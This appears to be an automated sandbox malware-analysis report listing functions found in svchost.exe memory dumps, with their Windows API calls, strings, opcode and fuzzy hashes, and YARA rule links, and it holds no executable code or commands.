Instruction Fuzzy Hash: 7A317832388B409AE71ADB21FC4BB5937A5F340B8AF158158AE5747789DB39D980C718

Function 00000257E10A1A40 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000257E10A1A60
StrCmpNIW.SHLWAPI ref: 00000257E10A1A7A
lstrlenW.KERNEL32 ref: 00000257E10A1A89
StrCpyW.SHLWAPI ref: 00000257E10A1A9E

Strings

\\?\, xrefs: 00000257E10A1A6E

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction ID: d56e8e4ea1c63715ed7fae816492958a322087c5f1097162d2259ce4f6dc8c21
Opcode Fuzzy Hash: c1daab9146f2a1614ef605d22fd4f721266e20aa8a0235322e79b2424596649d
Instruction Fuzzy Hash: C2F06272348F4192EB65CF21FCDAB5A67A1F758BCAF848060DA4946954DF3CC68DCB04

Function 00000257E10ABC98 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 27libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000257E10ABCBD
GetProcAddress.KERNEL32 ref: 00000257E10ABCD3
FreeLibrary.KERNEL32 ref: 00000257E10ABCFA

Strings

CorExitProcess, xrefs: 00000257E10ABCCC
mscoree.dll, xrefs: 00000257E10ABCB4

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction ID: a1c3fc9fb2c424eb5cf16538e388777059fc8f0e0a0ae8e1d12dd053b8120eaf
Opcode Fuzzy Hash: 0f45d19500fbd6816ab24c8a126c5dacde8056cea587c59ff890217df17fdf5d
Instruction Fuzzy Hash: D9F06271359F0481EB1ACB29FC4FB6A6321FB88BA2F540299DA6A461E4DF3CC4448354

Function 00000257E10A3044 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 27COMMON

Download Yara Rule

APIs

StrCmpIW.SHLWAPI ref: 00000257E10A3066
StrCpyW.SHLWAPI ref: 00000257E10A3076
StrCatW.SHLWAPI ref: 00000257E10A3082
PathCombineW.SHLWAPI ref: 00000257E10A3090

Strings

\\.\pipe\, xrefs: 00000257E10A305C

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CombinePath
String ID: \\.\pipe\
API String ID: 3422762182-91387939
Opcode ID: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction ID: 6788c6199675c10edf7c539ab1b1bd7f0a961ca82cbb9ee56a1611471c4650f0
Opcode Fuzzy Hash: 8c685e1f0b85bfe06f91eeefbd03c12bff8419d51c8b157116edbf6ca1c9c829
Instruction Fuzzy Hash: E1F08C2038DF8482EA49CF13BD1F619A260AB48FC2F0880B0EE6A07B18DF3CC4458708

Function 00000257E10A50D0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5156

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction ID: 3bab7aea2da97d2c89cf869e435822f7947a441c0eb5686131a233f6f073e29f
Opcode Fuzzy Hash: e13ad259af2044a9722e5c88be2fea28068701e2040856c8b7ebe2328a6e9181
Instruction Fuzzy Hash: 8702F67225DB8086EBA5CB59F89635AB7A0F3C4785F104055EA8E87BA8DF7CC484CF14

Function 00000257E10A5710 Relevance: 7.6, APIs: 5, Instructions: 124threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000257E10A5726

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction ID: 7c0b0c8c25f7da43d0dd52c625788ab6d70cb4887c3805681c3f7a601031dd5b
Opcode Fuzzy Hash: b02f694671304b5a077fe24bce3094f0c3b02718cee177a37b7a7da192a85efa
Instruction Fuzzy Hash: E261C77655DF40C6E76A8B1AF84A31AB7E0F388785F100155EA8E47BA8DB7CC444CF18

Function 00000257E10B4104 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000257E10B412C
_set_statfp.LIBCMT ref: 00000257E10B4147
_set_statfp.LIBCMT ref: 00000257E10B4163
_set_statfp.LIBCMT ref: 00000257E10B419F

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: 9bd224d7f8937e48dcb23c6a92691f7b715b7476c5eb2bebaeb9097fbf750117
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: 3011A722FDCF5021F66E9568FC5FB6911406B783B6F180EA4A577876D6CA34CB41811C

Function 00000257E1083504 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000257E108352C
_set_statfp.LIBCMT ref: 00000257E1083547
_set_statfp.LIBCMT ref: 00000257E1083563
_set_statfp.LIBCMT ref: 00000257E108359F

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction ID: a39f79cb811ea4c1becf5d789feaa45f4274d3385c809976c6f2e92f2461cad1
Opcode Fuzzy Hash: 9af7c444609857cffc651de9bcb8f693be62289a5d0e310862a2fbcb97617874
Instruction Fuzzy Hash: B911A7226DCF1119FA5E1529FC4F3693180EBD9376F4846B8A9660EFDACA78C8414228

Function 00000257E107F040 Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 182COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000257E107F124

Strings

Wednesday, xrefs: 00000257E107F1ED
or copy constructor iterator', xrefs: 00000257E107F25A, 00000257E107F275
Tuesday, xrefs: 00000257E107F0F4

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: Tuesday$Wednesday$or copy constructor iterator'
API String ID: 3215553584-4202648911
Opcode ID: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction ID: 8e9c97b707987eaf443330098e57a4151393cd7d99a53dd1af56ba60a02a01f1
Opcode Fuzzy Hash: 9e57f18f61c22f0406784eb273be7b0d6046b42052b72e443b30de0c50228f55
Instruction Fuzzy Hash: 7561D63268CF4042F66FFB69FD4F3B966A1F782742F514495DA2A07795DB34C8428308

Function 00000257E10AAA1C Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

EncodePointer.KERNEL32 ref: 00000257E10AAA68
_CallSETranslator.LIBVCRUNTIME ref: 00000257E10AAAB7

Strings

MOC, xrefs: 00000257E10AAA7C
RCC, xrefs: 00000257E10AAA85

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CallEncodePointerTranslator
String ID: MOC$RCC
API String ID: 3544855599-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 84adbe2866ac1e2fb66f4364389380746c042a873a352a778f6fc0d74beb4a81
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: E961BD33608F88CAEB29DF65E88639D77A0F358B89F044255EF4A17B99DB38C084C714

Function 00000257E10AAD78 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E10AADA0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000257E10AAE88

Strings

csm, xrefs: 00000257E10AAEDA
csm, xrefs: 00000257E10AADC2

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: ff1a59e2cae9877e41fdea86006ac35bc3c2ac676c8524eb9a1b3888c61eb4ec
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 6351E172188B80CAEB7D8F65B88B35D77A4F354B86F148156DB8A47BD5CB38C490C718

Function 00000257E107A178 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 145COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E107A1A0
__FrameHandler3::FrameUnwindToEmptyState.LIBVCRUNTIME ref: 00000257E107A288

Strings

csm, xrefs: 00000257E107A2DA
csm, xrefs: 00000257E107A1C2

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: Frame$EmptyHandler3::StateUnwind__except_validate_context_record
String ID: csm$csm
API String ID: 3896166516-3733052814
Opcode ID: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction ID: 83f5e9c311c848ec4fd2a0c7c7ec5783ac5279642614553dd1b91d6c427617f7
Opcode Fuzzy Hash: b607b9418e38c48ebb6f53552568b8ff7a3aff5a85fd43f0b6d07fa9fad214e5
Instruction Fuzzy Hash: 0E51D432148B80CAEB7AAF25B84B37877A0F354B86F1C8155FA8947BD5CB78D491C708

Function 00000257E1078405 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 135COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E1078413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10784A8

Strings

f, xrefs: 00000257E1078426
csm, xrefs: 00000257E107848E

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction ID: ee813d9cd048edd468e5633751c041e363784de44c713b5dfd16f397443d62c2
Opcode Fuzzy Hash: 114af5d7cf0438a1297bb8b9b6869ba79c6078414514cf9bb502ab9f42d0baed
Instruction Fuzzy Hash: 5A51D272749B008AEB5EEF15F80BB283795F350B99F5581A6DA064778CEB74DCC08708

Function 00000257E10783E8 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 75COMMON

Download Yara Rule

APIs

__except_validate_context_record.LIBVCRUNTIME ref: 00000257E1078413
_IsNonwritableInCurrentImage.LIBCMT ref: 00000257E10784A8

Strings

f, xrefs: 00000257E1078426
csm, xrefs: 00000257E107848E

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: CurrentImageNonwritable__except_validate_context_record
String ID: csm$f
API String ID: 3242871069-629598281
Opcode ID: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction ID: fef70a26cb8617019fb27fbb8b1d28829320fb28e202bfa77e2c679c26842ebd
Opcode Fuzzy Hash: 0036035fc280b7a5a111a049c7edfc77b7be6b9ab52e14187ebc45e366edaa55
Instruction Fuzzy Hash: 7A31A271249B40D6E71AEF21FC4B72977A4F340B9AF158059EE5A07B88DB38C980C708

Function 00000257E10B2058 Relevance: 6.3, APIs: 4, Instructions: 299fileCOMMON

Download Yara Rule

APIs

GetConsoleOutputCP.KERNEL32 ref: 00000257E10B20D7
WriteFile.KERNEL32 ref: 00000257E10B239F
WriteFile.KERNEL32 ref: 00000257E10B23E5
GetLastError.KERNEL32 ref: 00000257E10B249B

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileWrite$ConsoleErrorLastOutput
String ID:
API String ID: 2718003287-0
Opcode ID: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction ID: 68dab6fe74a75fbd6536b3dcbd820ba112786e56dfb684d69ab30bb7c3da5d7e
Opcode Fuzzy Hash: 3a35214534a53fd0655822596b90f4932f5655332a96a267e8fac8abb8670521
Instruction Fuzzy Hash: 69D13032B58F8089E716CFB9E84A79C3BB1F354B99F008256CE5997B99DB38D406C344

Function 00000257E10A14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A14C5
HeapFree.KERNEL32 ref: 00000257E10A14D4
GetProcessHeap.KERNEL32 ref: 00000257E10A14E1
HeapFree.KERNEL32 ref: 00000257E10A14F0
GetProcessHeap.KERNEL32 ref: 00000257E10A1500

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction ID: 1db1360ba7b751730b1259011854ce9dc25cb220d1e3979c32bb2201401d3ca7
Opcode Fuzzy Hash: 57ec4baa428d3a80e79e8f3b815539f76c7f0782526738c577e62bebd88a5cdf
Instruction Fuzzy Hash: 16015A32648F90C6E709DF66FD0A64A77A4F788F82F084825EA5A43729DE38C451C744

Function 00000257E10B2980 Relevance: 6.2, APIs: 4, Instructions: 218COMMON

Download Yara Rule

APIs

GetConsoleMode.KERNEL32 ref: 00000257E10B2A9C
GetLastError.KERNEL32 ref: 00000257E10B2B27

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode
String ID:
API String ID: 953036326-0
Opcode ID: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction ID: d3f0363712b424162af198fcb1f2ccd060454dcd3d61e37f8d2bcd7dd235890b
Opcode Fuzzy Hash: fa691138abb93940963a85324df6708f2ee223ec670a65e1a7af20f8b77031a4
Instruction Fuzzy Hash: 55912632758F5485F76ADF65AC4BBAD3BA0F344B8AF144189DE0A57A94CF34D482C708

Function 00000257E10A7960 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00000257E10A798C
GetCurrentThreadId.KERNEL32 ref: 00000257E10A799A
GetCurrentProcessId.KERNEL32 ref: 00000257E10A79A6
QueryPerformanceCounter.KERNEL32 ref: 00000257E10A79B6

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction ID: a2a4f887a9f13fcddb2c7929769560035c01c8ba1ff43c4decbc8a8071c20252
Opcode Fuzzy Hash: 561ac6f4885ef0f33bff27beb4ddb95e6a253367b5c72fac45fcb4617ca9122b
Instruction Fuzzy Hash: CA113C22754F018AEB01CF60FC5A3A833A4F719759F440E21EA6D867A4DF78C1A8C380

Function 00000257E10A253C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 185COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000257E10A2620
StrCpyW.SHLWAPI ref: 00000257E10A2639

Strings

\\.\pipe\, xrefs: 00000257E10A262B

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction ID: d8c6a38f007fb3a7686c76c7a8283c4c2af24b0e33f9ff83396385155cc53d9c
Opcode Fuzzy Hash: 54f1dfa0457f4d2b58266312e3bc9b9bd619b52cd53b64f893b189ad2eed13fb
Instruction Fuzzy Hash: 6F71E336288F8186E72EDE25BC5B3EE6B90F789B86F440066DD0A47B88DF34C641C714

Function 00000257E1079E1C Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_CallSETranslator.LIBVCRUNTIME ref: 00000257E1079EB7

Strings

RCC, xrefs: 00000257E1079E85
MOC, xrefs: 00000257E1079E7C

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: CallTranslator
String ID: MOC$RCC
API String ID: 3163161869-2084237596
Opcode ID: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction ID: 72cc404f53ef2108c57ae6d6efccfd71c2e81a8e4ff4a0d360792559cd38555b
Opcode Fuzzy Hash: c123fbbb8780cd52d1c7b069b1b1cc678e7e4f5673d54000f6e5fbfac7098139
Instruction Fuzzy Hash: CD61AC33608F848AEB2AEF65E8463AD77A0F344B99F044655EF4A17B98DB38D095C704

Function 00000257E10A2330 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 141COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000257E10A2416
StrCpyW.SHLWAPI ref: 00000257E10A242D

Strings

\\.\pipe\, xrefs: 00000257E10A2421

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction ID: f4fc28d39a0cdc524aee5adda2c2e0e63ac63cf0b53b223d59b02d2ca35e917c
Opcode Fuzzy Hash: 713d5f66120afee1318357aa22047e1871f046a8e1f6ca4f8182a23e28854f89
Instruction Fuzzy Hash: 3E51063268CF8181F67EDE29B85F3AAA761F385781F440175DE9A03B49DE39C504C768

Function 00000257E10B26F0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 00000257E10B2807
GetLastError.KERNEL32 ref: 00000257E10B2829

Strings

U, xrefs: 00000257E10B27B3

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction ID: 36eee36a702be5d229b17d9c9138d260910e3688b71927c4caf75304bb23e6ee
Opcode Fuzzy Hash: 769e155e8e03be1ef4aeb5f55e8b8ada6faf705201daec98c5fb8cb61498ce5a
Instruction Fuzzy Hash: FE41A232359F8082EB26DF25F84A7AA77A0F798795F504021EE4D87794EB3CD441CB48

Function 00000257E10A94A0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 44COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000257E10A94F0
RaiseException.KERNEL32 ref: 00000257E10A9531

Strings

csm, xrefs: 00000257E10A951E

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: ExceptionFileHeaderRaise
String ID: csm
API String ID: 2573137834-1018135373
Opcode ID: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction ID: e302ae30e49da29a726c6f913943f5073bbf1f5ae9d0972a697904f802fd5f1d
Opcode Fuzzy Hash: 596d8aa0106168f831d5a6617a756b303fb26e5894bac8705379b132699e985d
Instruction Fuzzy Hash: 55112B36219F8082EB668B25F84635977E5F788B95F584260EECD07758DF3CC551CB04

Function 00000257E1077356 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000257E107737C

Strings

riptor at (, xrefs: 00000257E1077364
ierarchy Descriptor', xrefs: 00000257E1077381

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: ierarchy Descriptor'$riptor at (
API String ID: 592178966-758928094
Opcode ID: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction ID: 5c07be2ebc4b5c2c17967540651cfe820deff558361af11c6e94b5f60bbdcb6a
Opcode Fuzzy Hash: 13d46e236c22f038e3183f277bc937bc0c01c293d14bd07e4c5c2ea041926035
Instruction Fuzzy Hash: 5FE086A1684F4490DF078F21FC4629873A0EB59B64F499162995C0A311FA38D1F9C300

Function 00000257E10773B4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 17COMMON

Download Yara Rule

APIs

__std_exception_copy.LIBVCRUNTIME ref: 00000257E10773D8

Strings

riptor at (, xrefs: 00000257E10773C0
Locator', xrefs: 00000257E10773DD

Memory Dump Source

Source File: 0000002E.00000002.3372076876.00000257E1070000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E1070000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e1070000_svchost.jbxd

Similarity

API ID: __std_exception_copy
String ID: Locator'$riptor at (
API String ID: 592178966-4215709766
Opcode ID: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction ID: 558cecf372c16398b9b2aefa91b5521037ba77d7552cbc05b4debd7ca50bbfaf
Opcode Fuzzy Hash: af0f0512ca75cd806a30771dd11e2a0f17b9e6725b3a9df23089972a8cb9d3f7
Instruction Fuzzy Hash: 65E086A1644F4490DF068F21E8421987360E759B54F889162C95C0A311EA38D1E5C300

Function 00000257E10A1BF4 Relevance: 5.1, APIs: 4, Instructions: 52memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A1C2D
HeapAlloc.KERNEL32 ref: 00000257E10A1C3B
GetProcessHeap.KERNEL32 ref: 00000257E10A1C77
HeapFree.KERNEL32 ref: 00000257E10A1C85

Part of subcall function 00000257E10A152C: StrCmpIW.SHLWAPI ref: 00000257E10A155D

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID:
API String ID: 756756679-0
Opcode ID: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction ID: 2d0e3eb43654a43f3f6b80af6b512799269a4d278d6165dc18c830e96e57c320
Opcode Fuzzy Hash: e6b128499454e36a5cfdb4ce6de946333e896a2fc86765bea62df52d9c8f7d1a
Instruction Fuzzy Hash: F8118C25645F4882EA0ADB66F84B72973A1FB89FC2F184468DE8D47766DE38C442C304

Function 00000257E10A1268 Relevance: 5.0, APIs: 4, Instructions: 21memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000257E10A126E
HeapAlloc.KERNEL32 ref: 00000257E10A127D
GetProcessHeap.KERNEL32 ref: 00000257E10A1297
HeapAlloc.KERNEL32 ref: 00000257E10A12A8

Memory Dump Source

Source File: 0000002E.00000002.3372775288.00000257E10A0000.00000040.00000001.00020000.00000000.sdmp, Offset: 00000257E10A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_46_2_257e10a0000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction ID: 8832b056897a9b8ba16723e3fafdb3eff0c8063a4678bd85c9cbe2902852df6c
Opcode Fuzzy Hash: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
Instruction Fuzzy Hash: 48E06535A41F0486EB09CF62EC0E74A36E1FB89F06F08C424C91907361DF7D8499CB90

Analysis Process: svchost.exePID: 732, Parent PID: 7120COMMON

Executed Functions

Function 000001F28C931268 Relevance: 5.0, APIs: 4, Instructions: 21
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetProcessHeap.KERNEL32 ref: 000001F28C93126E
HeapAlloc.KERNEL32 ref: 000001F28C93127D
GetProcessHeap.KERNEL32 ref: 000001F28C931297
HeapAlloc.KERNEL32 ref: 000001F28C9312A8

Memory Dump Source

Source File: 0000002F.00000002.3371122351.000001F28C930000.00000040.00000001.00020000.00000000.sdmp, Offset: 000001F28C930000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_47_2_1f28c930000_svchost.jbxd

Similarity

API ID: Heap$AllocProcess
String ID:
API String ID: 1617791916-0
Opcode ID: baed807eea30b690d22ace55785552a5eee2cb9bee48e50401e6fb7d80347597
